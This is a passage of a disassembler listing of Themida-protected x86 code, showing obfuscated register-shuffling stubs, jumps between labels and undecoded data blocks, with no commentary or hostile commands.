		mov	[esp], ebp
		mov	ebp, 4BA5DF3h
		add	edx, ebp
		pop	ebp
		add	edx, 3CA40BC7h
		sub	edx, 6F19187Ch
		jmp	loc_5685E2
; ---------------------------------------------------------------------------
		dd 83E9F201h, 66FFFFEBh, 68240C8Bh, 6C8Bh, 347BE9h
		db 0
; ---------------------------------------------------------------------------


loc_561F81:				; CODE XREF: Themida_:005683C4j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_576073
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0D5h
		dd 817D737Fh, 2CCFB7C7h, 0E9FD019Bh, 8E1Ch, 70EB8166h
		dd 3595E921h, 0C5810000h, 0BFFCD544h, 0A7DEE9h,	59CA2900h
		dd 3387F281h, 814A1B72h, 7B9743EAh, 89E951D5h, 8300003Fh
		dd 0BD5504C4h, 7B5B6E62h, 0A7E9EB01h, 0D30000FBh, 0E99C2424h
		dd 0FFFFE729h
; ---------------------------------------------------------------------------


loc_561FEC:				; CODE XREF: Themida_:00561B9Dj
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_56E8DB
; ---------------------------------------------------------------------------
aQsa		db 'Qé µ',0
		dd 4EC8100h, 89000000h,	90E92414h, 68FFFFE9h, 3ABAh, 0A43FE9h
		dd 0E6F7E900h, 0BB53FFFFh, 4A2848E2h, 6B5CE9h, 0E9C72900h
		dd 0EF91h, 5C240C87h, 0BA241489h, 4, 835AD301h,	0C6E904EBh
		dd 100003Fh, 6EEB81EBh,	5D191443h, 9BE4E9h, 74FF5100h
		dd 8F590424h, 815C2404h, 4ECh, 13B8E900h, 4A680001h, 8900000Ah
		dd 4EB82404h, 18302B2h,	0EF0158C5h, 4B8505Dh, 29000000h
		dd 2CE958C7h, 10000EBh,	5B04245Ch, 81243C8Bh, 4C4h, 0EC815200h
		dd 4, 68240489h, 66064A38h, 8E0C158h, 0E058CE25h, 5C51055Fh
		dd 1057168h, 0E9C6E3E1h, 1006Bh, 6213E281h, 0DAF74D34h
		dd 96B0F281h, 0D0898A04h, 177A685Ah, 2C890000h,	3673E924h
		dd 0E9590001h, 0FFFFFDECh, 0E6EB9BAh, 0A7A7E952h, 7A680000h
		dd 89000067h, 0EC832414h, 241C8904h, 75E9E389h,	5700002Bh
		dd 87548BBFh, 0CB0E94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56210E:				; CODE XREF: Themida_:0056A103j
		sub	ebx, 28B50FD6h
		sub	ebx, 7D3F3C3Bh
		neg	ebx
		add	ebx, 40C67B73h
		push	edx
		mov	edx, 226E6FF5h
		neg	edx
		dec	edx
		sub	edx, 0B7335C02h
		sub	ebx, edx
		jmp	loc_5736E3
; ---------------------------------------------------------------------------
aPsa		db 'PéA;',0
		align 2


loc_56213E:				; CODE XREF: Themida_:0056EAFFj
		xor	edi, esi
		pop	esi
		push	2F3Eh
		mov	[esp], edx
		mov	edx, 63BA2389h
		neg	edx
		add	edx, 12382397h
		and	edx, 57602CAEh
		sub	edx, 928A92BAh
		sub	esi, edx
		pop	edx
		add	esi, edi
		add	esi, 73D56D54h
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_5611D6
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFE92Eh
; ---------------------------------------------------------------------------


loc_562184:				; CODE XREF: Themida_:005742E3j
		mov	ebx, esi
		pop	esi
		jmp	loc_5707C8
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEE0100h, 5C243487h, 0CA36642Dh, 7742D2Eh, 0D80172C7h
		dd 0C7077405h, 36640572h, 815B2ECAh, 0EB7432EBh, 0DE76E936h
		dd 0FF5E0000h, 815F2434h, 4C4h,	2928E900h, 0D5F70001h
		dd 81EB8745h, 40BFC7C3h, 5269E952h, 3C870000h, 24248B24h
		dd 88240489h, 0E9E388D4h, 0FD2Ah, 7C2768h, 241C8900h, 10640E9h
		dd 98EF8100h, 0F71A7E3Dh, 28A6E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562206:				; CODE XREF: Themida_:0056DA03j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_570FE4
; ---------------------------------------------------------------------------


loc_562219:				; CODE XREF: Themida_:00568C14j
		sub	eax, 0C4EAB025h
		mov	edx, eax
		pop	eax
		sub	edi, edx
		mov	edx, [esp]
		jmp	loc_567F1C
; ---------------------------------------------------------------------------


loc_56222B:				; CODE XREF: Themida_:0056D9B8j
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_56C41F
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 4
		dd 87000000h, 0E3E92414h, 830000EAh, 0C2E904EAh, 5F000099h
		dd 335FF801h, 4312404h,	0C39E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56225E:				; CODE XREF: Themida_:00569C80j
		add	dword ptr [esp+4], 7F4D12B8h
		push	dword ptr [esp]
		jmp	loc_56B9A1
; ---------------------------------------------------------------------------
		dw 6653h
		dd 0ABCE952h
		db 1, 0
; ---------------------------------------------------------------------------


loc_562276:				; CODE XREF: Themida_:00567E71j
		push	ecx
		mov	ecx, 444333BDh
		shr	ecx, 1
		push	eax
		jmp	loc_56DFC0
; ---------------------------------------------------------------------------
		dd 0EB81CB29h, 6D13378Dh, 0AEB8159h, 0E97F667Bh, 3C22h
		dd 0C400DA68h, 24148B17h, 4A04C483h, 1602E94Ah,	0E8310001h
		dd 58C2295Dh, 0D816E9h,	4EC8100h, 89000000h, 0BF57240Ch
		dd 24163EEBh, 10914E9h,	0E3F78100h, 107FFC7h, 0C3835FFBh
		dd 241C8702h, 824248Bh,	0E99C2404h, 0D707h, 24048151h
		dd 578006DDh, 0FAB1E9h,	1EE95800h, 31FFFFE4h, 0E5E95EF5h
		dd 590000E9h, 8904EC83h, 4682414h, 5A000000h, 3A64EF81h
		dd 0D70153EAh, 9FD9E9h,	2592BB00h, 0D931666Fh, 83241C8Bh
		dd 0CB0104C4h, 592434FFh, 8104C483h, 4ECh, 6F40E900h, 148B0000h
		dd 4C48124h, 50000000h,	573C13B8h, 0E7E94070h, 66000070h
		dd 6824148Bh, 5C9Dh, 89243489h,	4C681E6h, 81000000h, 2C6h
		dd 24348700h, 3FEC805Ch, 648DE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562376:				; CODE XREF: Themida_:00567BE2j
		shr	ebp, 4
		add	ebp, 1E3528DAh
		add	ebp, 2CB5313Fh
		dec	ebp
		neg	ebp
		sub	ebp, 7979655Bh
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		and	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_562CCA
		push	edx
		jmp	loc_575E28
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 12E90000h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5623BB:				; CODE XREF: Themida_:005723B1j
		add	ebx, 0ED44CA29h
		jmp	loc_569BBA
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 59C828C2h, 1CE95966h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5623D3:				; CODE XREF: Themida_:0056E9B1j
		not	ebp
		shr	ebp, 2
		add	ebp, 4A562244h
		xor	ebp, 21900215h
		add	ebx, 18B179A4h
		sub	ebx, 474D13F1h
		sub	ebx, ebp
		add	ebx, 474D13F1h
		jmp	loc_56640D
; ---------------------------------------------------------------------------
		db 68h,	2, 75h
		dd 0A2E90000h, 890000A4h, 48BF5FF8h, 81544CB8h,	1E573CC7h
		dd 81C72976h, 1E573CEFh, 24048B76h, 0C104C483h,	0E7C106EFh
		dd 0FA4EE902h, 89590000h, 63D4E9CEh, 0EE210000h, 3BE9465Dh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56243F:				; CODE XREF: Themida_:0056AAA7j
		shl	edi, 4
		sub	edi, 0B759D04Bh
		xor	eax, edi
		pop	edi
		or	eax, 271E4C2Eh
		xor	eax, 29F769B1h
		push	ebx
		mov	ebx, 26366805h
		neg	ebx
		add	ebx, 84DE8F20h
		xor	eax, ebx
		pop	ebx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_56A5FD
; ---------------------------------------------------------------------------
		dd 0C8BCE01h, 4C48124h,	5A000000h, 5C243487h, 24048B66h
		dd 68585450h, 64C1h, 8F06E9h, 243C8900h, 714CB951h, 0E18118EAh
		dd 65A45994h, 2E9C149h,	9A4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5624AD:				; CODE XREF: Themida_:00567A42j
		mov	esi, 21E6E96h
		xor	[esp+4], esi
		pop	esi
		pop	ebp
		push	ecx
		mov	ecx, 380207ABh
		jmp	loc_56D819
; ---------------------------------------------------------------------------


loc_5624C3:				; CODE XREF: Themida_:005703A5j
		mov	ebp, 0B706D18h
		mov	eax, ebp
		pop	ebp
		add	eax, 1BB26ECEh
		xor	eax, 2D9D045Bh
		jmp	loc_565017
; ---------------------------------------------------------------------------


loc_5624DA:				; CODE XREF: Themida_:0056476Dj
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_565877
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 6F4D2507h, 4D350235h, 100040Ah, 24048BC1h, 2A2BE9h
		dd 24248B00h, 9C240421h, 0FFE1FCE9h, 616857FFh,	5F3CC701h
		dd 973EEF81h, 0FD89FD65h, 0F692E95Fh, 0E9C1FFFFh, 0EFE98105h
		dd 1045CDDh, 240C8BCEh,	4C481h,	1CE90000h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562547:				; CODE XREF: Themida_:0056AAD3j
		mov	eax, 3B6273EDh
		xor	edx, eax
		jmp	loc_566694
; ---------------------------------------------------------------------------
		db 53h
		dd 0B7B7B450h, 0E9E70019h, 12A30h, 0BFE95B5Bh, 880000B6h
		dd 14C9E9F5h, 0B9510001h, 387DAFBh, 0FFFD6BE9h,	0BB535AFFh
		dd 0B700Ah, 1C8BD829h, 4C48324h, 5A2434FFh, 0E904C483h
		dd 0EB36h, 507F68h, 24048900h, 24048B54h, 11C58E9h, 89E95B00h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5625AB:				; CODE XREF: Themida_:0056D178j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	2755h
		mov	[esp], ebp
		push	3B1Eh
		mov	[esp], eax
		mov	eax, 726F294Eh
		jmp	loc_568A76
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 5CF78092h, 5BE9F988h, 0BD0000F3h, 311C4BC8h,	4876F581h
		dd 575172D7h, 0C1004A68h, 70F4E932h, 3C330000h,	243C3124h
		dd 361E9h, 58C50100h, 4C581h, 2C870000h, 0EC835C24h, 24048904h
		dd 94DCE9h, 240C3100h, 8B240C33h, 8B662424h, 0EC812404h
		dd 4, 54240489h, 0F04E958h, 0B6520000h,	0FF29E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56263E:				; CODE XREF: Themida_:005750BBj
		push	esi
		mov	esi, 69502B9Eh
		sub	esi, 13971C0h
		sub	esp, 4
		jmp	loc_573394
; ---------------------------------------------------------------------------


loc_562655:				; CODE XREF: Themida_:0056D7C8j
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 36275076h
		sub	ebx, 0E6A0102h
		sub	ebx, ecx
		add	ebx, 0E6A0102h
		add	ebx, 36275076h
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_561BF2
; ---------------------------------------------------------------------------


loc_56268C:				; CODE XREF: Themida_:00574AB2j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		jmp	loc_569ECD
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 4C5835Eh, 5C242C87h,	0A1B15166h, 0B0E9CF00h,	0C1FFFFEFh
		dd 1EE908EBh
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5626BF:				; CODE XREF: Themida_:00560D71j
		mov	ebx, 1Ch
		sub	ebx, 376C6F4Eh
		jmp	loc_5707D0
; ---------------------------------------------------------------------------
		db 66h
		dd 6632F368h, 68242C89h, 437Ah,	66240C89h, 666BD2B9h, 662C12BDh
		dd 95DCE94Dh, 0E9540000h, 30EAh, 0E901EF83h, 0C54Eh
; ---------------------------------------------------------------------------


loc_5626FC:				; CODE XREF: Themida_:0056B285j
		neg	ecx
		jmp	loc_572366
; ---------------------------------------------------------------------------
aXsiusqq	db 'XS䋎qQ',0
		align 4


loc_56270C:				; CODE XREF: Themida_:0056B7A8j
		sub	dword ptr [esp+4], 4EBA0203h
		pop	eax
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 18D956D2h
		inc	esi
		jmp	loc_56C785
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0E9DA8811h, 13447h
; ---------------------------------------------------------------------------


loc_562734:				; CODE XREF: Themida_:005634CAj
		add	ecx, 4
		add	ecx, 2
		push	ecx
		jmp	loc_56864F
; ---------------------------------------------------------------------------


loc_562746:				; CODE XREF: Themida_:0056BBE9j
		xor	ebx, 48BC5F88h
		jmp	loc_567490
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 21046855h, 3C890000h, 4BF24h, 0FD890000h, 0E9EA015Fh
		dd 0AD0Ah, 0C2E9E189h, 29FFFFE8h, 0EA815DEAh, 75FF1A60h
		dd 244768h, 24048900h, 5F12C2B8h, 0E9C20140h, 0C45Ch
; ---------------------------------------------------------------------------


loc_562790:				; CODE XREF: Themida_:00568F81j
		mov	eax, 30802F92h
		sub	[esp+8], eax
		pop	eax
		add	[esp+4], ebx
		add	dword ptr [esp+4], 30802F92h
		jmp	loc_56DF6C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89512404h, 4C181E1h,	83000000h, 0C8704C1h, 15B3E924h
		dd 50590001h, 405E089h,	0E9000000h, 50C7h, 4055854h, 0E9000000h
		dd 1359h, 1AC7815Ah, 81121E25h,	841A7E9h, 81F9014Dh, 841A7C1h
		dd 243C8B4Dh, 482E9h, 0DDD0500h, 0F00173C7h, 0C70DDD2Dh
		dd 6FD30573h, 34FF1976h, 0EC835E24h, 243C8904h,	0D868E789h
		dd 8900003Bh, 4B82404h,	1000000h, 0F0E958C7h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56282B:				; CODE XREF: Themida_:00569ED0j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5735CC
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 3Ah
		dd 5B05217Ch, 46F1EB81h, 0FB013071h, 0A9E2E9h, 2474FF00h
		dd 48F5E04h, 24248B24h,	4C36BE56h, 0F2011FA3h, 1EC2815Eh
		dd 11D1603h, 1EEA81C2h,	531D1603h, 71346857h, 3C8B387Bh
		dd 4C48324h, 0F706EFC1h, 0C618E9D7h, 248B0000h,	242C8924h
		dd 57D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5628A1:				; CODE XREF: Themida_:0057275Bj
		push	esi
		jmp	loc_569443
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8704E883h, 60E92404h, 0FF000118h,	835E2434h, 0D73104C4h
		dd 0C5D0E9h, 4C48100h, 81000000h, 4C2h,	1889E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5628D6:				; CODE XREF: Themida_:0056AA64j
		push	ecx
		mov	ecx, 3EDA7E02h
		xor	edi, ecx
		jmp	loc_57444B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1EB66097h, 559C801h,	4F2B0BFBh, 6BA16851h, 49590E3Ah
		dd 8F1BE9h, 241C8B00h, 4C481h, 0E3810000h, 42BB02B1h, 6C5468h
		dd 24148900h, 596AFABAh, 0DDF5E941h, 0FFBD0000h, 0E9FFFFFFh
		dd 97BDh, 0D851B4BDh, 51B8B954h, 0E4E954D8h, 590000A3h
		dd 4BF57h, 0F9010000h, 8B2434FFh, 0C481243Ch, 4, 0D6E6E9h
		dd 240C8B00h, 8004C483h, 0B60F42C3h, 0D17EE9C0h, 3C330000h
		dd 24248B24h, 0E9C8BE0Fh, 1318Bh, 4C481h, 0FB290000h, 6C815F5Fh
		dd 61710424h, 0E3E97190h, 590000BBh, 8158C101h,	0DC63F3C1h
		dd 81F1292Ch, 0DC63F3E9h, 0C0BB532Ch, 0E94A084Fh, 0BA32h
		dd 4CEE68h, 24148900h, 1C1ABF57h, 25BA2542h, 534AB01Ch
		dd 0B35F9FBBh, 0E828E918h, 0D6F60000h, 97B05066h, 5866C628h
		dd 6803C680h, 2DBFh, 88240489h,	0E95352F0h, 0AD5Dh, 2C98B05Bh
		dd 4E828EEh, 240C8BEEh,	4C481h,	0C1000000h, 24048B66h
		dd 2C483h, 0B75366F9h, 0E9F92828h, 18C2h, 54240C89h, 4F0E959h
		dd 48B0001h, 0E5FDE924h, 4468FFFFh, 89000018h, 1E9242Ch
		dd 1FFFFFFh, 0C5895DE8h, 5DEA0158h, 0FFDCE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A35:				; CODE XREF: Themida_:00567C47j
		xor	ebp, 2E0D4C27h
		add	edx, ebp
		pop	ebp
		jmp	loc_5616BB
; ---------------------------------------------------------------------------
		db 55h
		dd 0D24C79BDh, 0E121E968h, 77FFFFFFh, 59669D1Ch, 9C2414D2h
		dd 0FFDCB8E9h, 4B8FFh, 0C7010000h, 0AED3E9h, 0ED98B800h
		dd 0C631383Fh, 5EF32958h, 0E33EE952h, 0F3810000h, 0B6485E71h
		dd 815BDA21h, 12750BF2h, 0D7895739h, 24048157h,	5C510BDh
		dd 0BDED815Dh, 5F05C510h, 8324148Bh, 0EDC104C4h, 64C58107h
		dd 81204469h, 174BA1EDh, 0DF50E9EEh, 0C6800000h, 296CE9FCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562ABE:				; CODE XREF: Themida_:005634BEj
		mov	[esp], esi
		mov	esi, 4D563D1Eh
		and	ebx, esi
		jmp	loc_5661C3
; ---------------------------------------------------------------------------


loc_562ACD:				; CODE XREF: Themida_:00560804j
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 0B9h, 0C3h, 3Ah
		dd 4C293EF3h, 0FE90824h, 5D000116h, 0CE49E9h, 4EC8100h
		dd 89000000h, 4812424h,	424h, 0BD555F00h, 487108A5h, 0C6E9EDD1h
		dd 5B000124h, 0FFE38DE9h, 83595FFFh, 0FF5304C3h, 0E9042474h
		dd 32DBh, 24348155h, 6B413421h,	81D8E9h, 1B62BA00h, 0BB536712h
		dd 67121B66h, 1C8B5E53h, 4C48324h, 15AD631h, 8B042474h
		dd 0C4832434h, 0E9565904h, 1139Fh, 8B04C483h, 0C483240Ch
		dd 5F58E904h, 0EE810000h, 211073F2h, 8BF1895Ah,	9AE92434h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562B77:				; CODE XREF: Themida_:00562C2Aj
		push	edx
		pop	edi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ecx
		jmp	loc_5679FB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 10E9240Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562B8F:				; CODE XREF: Themida_:00571A75j
		mov	ebp, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 2E290ACBh
		add	[esp+4], edi
		push	1F01h
		mov	[esp], edx
		push	edi
		mov	edi, 56913391h
		mov	edx, 84BA3E5Ch
		sub	edx, edi
		pop	edi
		sub	[esp+8], edx
		pop	edx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_56F89F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FAE906EFh, 6600002Dh, 9C241CF7h, 0FFDB30E9h, 7B22B8FFh
		dd 0D8F75B75h, 0D0F74840h, 757B2535h, 58C2015Bh, 4EA81h
		dd 14870000h, 4895C24h,	19F3E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_562C0A:				; CODE XREF: Themida_:005612AFj
		add	edx, 2C9F767Dh
		sub	edx, 57565877h
		sub	edx, edi
		add	edx, 57565877h
		sub	edx, 2C9F767Dh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_562B77
; ---------------------------------------------------------------------------


loc_562C2F:				; CODE XREF: Themida_:00564C39j
		mov	esi, [esp]
		jmp	loc_5684A8
; ---------------------------------------------------------------------------
		db 58h
		dd 83E18951h, 2C8904ECh, 4616BD24h, 0F5810F64h,	23EB431Fh
		dd 488CE9h
		db 0
; ---------------------------------------------------------------------------


loc_562C51:				; CODE XREF: Themida_:00564C66j
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_5678FD
; ---------------------------------------------------------------------------
		dd 4C481h, 2C8B0000h, 4C48324h,	1306CE9h, 52C38000h, 9AE9CBFEh
		dd 53000031h, 7F70E9h, 4C48100h, 83000000h, 895304C4h
		dd 4C381E3h, 81000000h,	4EBh, 241C3300h, 5107E9h, 0C01B6800h
		dd 815FC6F4h, 4D2E23C7h, 0C6BD5503h, 0F73FC308h, 35CD81DDh
		dd 0F7294771h, 4EED81DDh, 0F76EF059h, 0EBC3E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562CCA:				; CODE XREF: Themida_:005623A1j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_57473C
		push	ebx
		push	48FF49A6h
		pop	ebx
		shl	ebx, 1
		add	ebx, 0FFFFFFFFh
		not	ebx
		inc	ebx
		push	ebp
		mov	ebp, 0EC15E9A2h
		add	ebx, ebp
		pop	ebp
		push	ebx
		pop	dword ptr [edi+20h]
		mov	ebx, [esp]
		push	edi
		push	esp
		jmp	loc_56E437
; ---------------------------------------------------------------------------
		db 30h,	0E7h, 0E9h
		dd 0F730h, 2051BA52h, 0E28125D3h, 1AAA1C4Ch, 3562F281h
		dd 4E92CFCh
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562D1B:				; CODE XREF: Themida_:005735E4j
		or	edx, 35D13B13h
		xor	edx, 0DEC501ABh
		sub	edi, edx
		jmp	loc_57295A
; ---------------------------------------------------------------------------
aAs_0		db 'Aé',27h,'Ù',0
		align 4
		dd 51242C89h, 4B9h, 59CD8900h, 2C8BEA01h, 4C48124h, 83000000h
		dd 0A6E904EAh, 810000FAh, 0B992A5E9h, 44EF813Ch, 0E9135276h
		dd 0AFF5h, 4B9h, 55CA2D00h, 0C8013334h,	3455CA05h, 240C8B33h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1C8F33E5h
		jmp	loc_574DC9
; ---------------------------------------------------------------------------
		dd 0CD81DDF7h, 629A2027h, 0BEDDED81h, 0E829C116h, 5D8015Dh
		dd 22A5284Ah, 4C32E95Bh, 0C890000h, 0C7DCE924h,	0C7810000h
		dd 18206E7Ch, 1F73E781h, 0DFF70B5Fh, 0E905EFC1h, 0FFFFF4F5h
		dd 3A78E952h, 67680000h, 89000039h, 0C3E9243Ch,	56000029h
		dd 1F592ABEh, 0D948E946h, 7C68FFFFh, 89000047h,	89682404h
		dd 587E1C4Eh, 4BE9C731h, 890000CEh, 14F62414h, 0E9505A24h
		dd 0C37Ch, 0E9241C8Bh, 10ECh, 0E9240C89h, 0FFFFFBF6h, 55E68956h
		dd 0C50AE9h, 24048900h,	11C3CE9h, 4B800h, 0C1010000h, 4C18158h
		dd 87000000h, 0ACE9240Ch, 0BD000003h, 332E2E60h, 0E95FFD31h
		dd 6EA2h
; ---------------------------------------------------------------------------


loc_562E58:				; CODE XREF: Themida_:00564EC3j
		sub	edi, 66694C33h
		sub	edi, edx
		jmp	loc_56F565
; ---------------------------------------------------------------------------
		db 1, 0F8h, 68h
		dd 6609h, 10C70E9h, 4EC8300h, 0E9241C89h, 0FEF7h, 5054C381h
		dd 815E3FF6h, 4C3h, 2735E900h, 8B660001h, 0AEE92414h, 33000031h
		dd 69E92404h, 330000D3h, 248B2404h, 9EBE924h, 8B660000h
		dd 0D4E9240Ch
		db 10h,	1, 0
; ---------------------------------------------------------------------------


loc_562EB3:				; CODE XREF: Themida_:0057007Dj
		sub	bl, dl
		jmp	loc_56B9EC
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4EA81h, 14870000h, 0C895C24h, 65B924h, 0F1815BC7h
		dd 7F5779B3h, 0E959CF21h, 0DD9Dh, 2C5815Fh, 55000000h
		dd 42474FFh, 24048F5Dh,	0E4F8E9h, 0DE95000h, 520000ABh
		dd 4BAh, 0B64E900h, 34FF0001h, 0A3685924h, 0E9000053h
		dd 435Fh, 45AF000h, 2CD000C0h, 0E9BA2CC0h, 0FFFFECFBh
		dd 5D51D189h, 47F4E959h, 8B660000h, 5450240Ch, 3BBAE958h
		dd 0A82D0000h, 0C12B0663h, 0BA0505E0h, 29793F94h, 0C32958C3h
		dd 0ADC68h, 24048900h, 742E1AB8h, 0E9C3016Ch, 27Fh, 5D2434FFh
		dd 96EBE9h, 4B95100h, 81000000h, 0DB17F0EBh, 0C3C38110h
		dd 0E95CE269h, 0B0D2h, 42474FFh, 0FB53E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562F8A:				; CODE XREF: Themida_:00566E34j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5721AB
; ---------------------------------------------------------------------------


loc_562F95:				; CODE XREF: Themida_:00574C2Cj
		add	al, bh
		pop	ebx
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_56111C
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 8904EC83h, 0B951242Ch, 1A4E09C1h, 0AD3659BDh
		dd 8EDC133h, 374BC581h,	0C58141A9h, 123A766Dh, 8108E5C1h
		dd 570843C5h, 0C2C581CEh, 1065247h, 0EEBE56CDh,	8165C524h
		dd 8D25B6EEh, 8AC6814Ch, 29ED1A48h, 34FF5EF5h, 39D7E924h
		dd 0CBFE0000h, 5276E380h, 0FFF54EE9h, 1C77FFFFh, 411589Dh
		dd 77E99C24h, 0C00000E5h, 0F68007E6h, 5AF00051h, 116F1E9h
		dd 42C5C00h, 0D000132Ch, 4041304h, 5024148Bh, 405E089h
		dd 83000000h, 48704C0h,	0C3305C24h, 346468h, 242C8900h
		dd 14476856h, 348B761Ch, 0A50CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563056:				; CODE XREF: Themida_:005680A6j
		mov	edi, 2
		mov	eax, edi
		pop	edi
		jmp	loc_56C4F2
; ---------------------------------------------------------------------------


loc_563063:				; CODE XREF: Themida_:0057220Dj
		push	55D6h
		mov	[esp], edx
		push	eax
		mov	eax, 0C314731h
		add	[esp+4], eax
		pop	eax
		jmp	loc_56A4BF
; ---------------------------------------------------------------------------
		db 53h
		dd 0F072E954h, 3C870000h, 34FF5C24h, 0C4815B24h, 4, 0B60FC330h
		dd 0DFBCE9C0h, 0C481FFFFh, 4, 12C50E9h,	0FFC50100h, 83582434h
		dd 2C8704C4h, 82F8E924h, 34890000h, 607BE24h, 81467463h
		dd 811A23E6h, 8E0BE96Dh, 0D8350000h, 168276Bh, 565F58C3h
		dd 4EC81h, 1BE90000h, 500009Fh,	62CF798Ch, 822FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5630E9:				; CODE XREF: Themida_:005725C3j
		dec	eax
		xor	eax, 78475E95h
		jmp	loc_5745CC
; ---------------------------------------------------------------------------
		dd 4D3FEF81h, 0EF01770Bh, 1A24E9h, 6BA5200h, 811DA97Fh
		dd 0E14FD8CAh, 1DEA8162h, 81415C0Ch, 8D73BDEAh,	0E9D5013Eh
		dd 0FFFFE1F7h, 0F701E983h, 56D1F7D1h, 0C681E689h, 4, 8704EE83h
		dd 0F9E92434h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56313B:				; CODE XREF: Themida_:005758CCj
		add	esi, eax
		pop	eax
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_564995
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD680CEFh, 0E9DFF71Ch, 8436h, 0E9241C31h, 82FDh, 4C5815Ch
		dd 55000000h, 42474FFh,	24048F5Dh, 0D593E95Ch, 77FFFFFFh
		dd 4EC831Ch, 68241489h,	0E141585h, 0E924148Bh, 8DFFh
; ---------------------------------------------------------------------------


loc_563198:				; CODE XREF: Themida_:0057544Ej
		mov	ah, 55h
		sub	bl, ah
		pop	ax
		sub	esp, 2
		mov	[esp], dx
		mov	dl, bl
		not	dl
		mov	bl, dl
		pop	dx
		or	bl, 1Bh
		jmp	loc_56D2CD
; ---------------------------------------------------------------------------


loc_5631B5:				; CODE XREF: Themida_:005660C4j
		push	esi
		pop	edi
		pop	esi
		jmp	loc_573C16
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 5E08950h, 4,	405h, 24048700h, 30DBE9h, 54346800h, 3DE90000h
